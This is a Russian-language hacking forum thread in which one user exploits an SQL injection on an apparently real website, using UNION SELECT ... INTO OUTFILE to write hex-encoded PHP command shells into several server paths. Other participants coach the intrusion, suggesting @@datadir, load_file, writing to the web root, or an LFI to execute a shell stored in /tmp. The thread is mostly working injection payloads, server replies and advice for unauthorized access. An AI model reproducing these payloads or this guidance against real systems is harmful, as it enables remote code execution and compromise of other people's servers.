Можно поподробнее про передачу запросов на низком уровне? Спасибо.

Ну это, наверное, только при особых условиях

Поднимаю свой вопрос. Не могу спокойно спать, всё время думаю о низкоуровневых запросах.

здрасте

Не Могу понять в чем проблема..
делаю такой запрос :

6+union+select+1+into+outfile+'1.php'+--+

на что получил ответ :

display_db_query: SELECT content from page where id = -6 union select 1 into outfile '1.php' -- File '1.php' already exists

ТОЕСТЬ я могу создавать файлы ?

потом делаю что то такое:

6+union+select+load_file(0x3C3F7061737374687275282 45F4745545B27636D64275D293B3F3E)+into+outfile+'1.p hp'+--+

на что получил ответ :
display_db_query: SELECT content from page where id = 6 union select load_file(0x3C3F706173737468727528245F4745545B2763 6D64275D293B3F3E) into outfile '1.php' -- File '1.php' already exists


и как мне теперь проверить что у меня получилось ?
где мне найти этот '1.php'

если кому не лень можна и попадробней в PM

спс за время.

в дефолтной папке mysql (уже не помню какая) уже есть файл 1.php. Зачем тебе его искать? Можно в /tmp создать
PS в пм мне не надо писать, я не умею ломать сайты и никогда этим не занимался

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

да

@@datadir

прочитать этот файл через load_file




P.S. Я на все твои вопросы ответил, ответь на 1 мой. Сколько нужно курить, чтобы составить этот запрос?

Спасибо..

Посидел почитал ... понял что за бред написал ( Буду курить менче )

Воспользовался советами :

Чтобы не париться отвечу что в /var/lib/mysql/ipw18/www/ нельзя делать запись

Попробовал залить в категорию :/var/lib/mysql/ipw18/
следующим образам

6+union+select+0x3c3f7068702073797374656d28245f474 5545b5c27636d645c275d293b203f3e+into+outfile+'/var/lib/mysql/ipw18/2.php'+--+

На что мне ругнулся сайт, значит всё норм ....
теперь не могу догнать как его прочесть ?
пробовал www.site.com/2.php?cmd=dir .. но нифига



Решил попробовать пойти другим путем:

union+select+0x3c3f7068702073797374656d28245f47455 45b5c27636d645c275d293b203f3e+into+outfile+'/tmp/2.php'+--+

здесь тодзе вопрос, ww.site.com/????? (нужна cmd)


Народ я хоть в правильном направление двигаюсь ?

в веб-директорию сайта заливать нужно.

/tmp/ - директория не доступная с веба.
Если льете в нее, то необходим lfi, что-бы этот файл проинклудить и выполнить.
Насчет www.site.com/2.php?cmd=dir, а файл то создался? Если файл создался, но выполнения команд нету, то скорее всего, вы залили неверное содержимое.